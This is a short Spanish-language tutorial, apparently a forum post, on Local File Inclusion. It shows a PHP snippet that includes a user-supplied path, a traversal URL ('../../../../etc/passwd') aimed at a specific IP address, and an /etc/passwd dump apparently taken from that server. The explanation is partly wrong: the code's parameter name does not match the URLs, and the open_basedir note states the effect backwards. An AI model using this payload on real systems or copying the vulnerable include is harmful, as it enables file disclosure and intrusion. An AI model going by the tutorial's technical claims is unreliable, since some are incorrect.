Este paper lo escribí hace como 4 años mas o menos O_O
Es algo básico pero creo que se entiende el concepto bastante bien.
[LFI]Local File Inclusion
Es un exploit que permite incluir archivos locales, como por ejemplo /etc/passwd <--- es el que se utiliza para probar si se puede explotar el sitio es vulnerable a lfi. un ejemplo vulnerable a LFI seria.
<?php
$page = $_GET['page'];
include($page);
?>
$_GET es el metodo que utilizamos para recoger los valores o variables introducidas por el usuario, y se veria algo asi
view.php?file=EntradaUsuario
el resultado seria algo asi http://127.0.0.1/file.php?file=EntradaUsuario
esto incluria lo que el usuario le indica... es decir el archivo existente en la pagina actual. ahora teniendo un poco de concomiento acerca de como se produce el lfi Vamos a probar si entendimos los conceptos. http://192.192.6.123/~lu/view.php?file=../../../../etc/passwd Esto debe incluir el archivo /etc/passwd en la página actual. El'../' significa subir un directorio. (seguro que si alguien uso dreamweaver le resultara familiar, a la hora de indicar donde se encuentra los archivos de la pagina) por lo general los directorios esta distribuidos de este modo "/home/nombredelhost/sitios/www.pagina.com/" y el archivo vulnerable (view.php)se encuentra en "/home/nombredelhost/sitios/www.pagina.com/file.php". como se imaginan /home/ es un directorio, /nombre del host/ es directorio, /sitios/ es directorio y /www.pagina.com/ tambien, lo que nos que hacer es ir al directorio raíz "/" en donde recine podremos tener acceso a /etc/Passwd Por lo tanto, en la url, para incluir el archivo /etc/passwd retrocedemos 4 directorios: ../../../../etc/passwd NOTA: si open_basedirrestriction estuviese desactivado este bug no funciona ya que solo permite incluir archivos ende su sitio y no del servidor.
- Ejemplo: http://192.192.6.123/~lu/view.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
vcsa:x:69:69:virtual console memory
owner:/dev:/sbin/nologin nscd:x:28:28:NSCD
Daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated
SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous
NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
mysql:x:500:500::/home/mysql:/sbin/nologin
postgres:x:501:501::/home/postgres:/bin/bash
mailadm:x:502:502::/home/mailadm:/sbin/nologin
webmail:x:503:503::/home/webmail:/bin/bash
lu:x:504:504::/home/lu:/bin/bash
public:x:505:506::/home/www/publicpage:/bin/bash
stu:x:506:508::/home1/stu:/bin/bash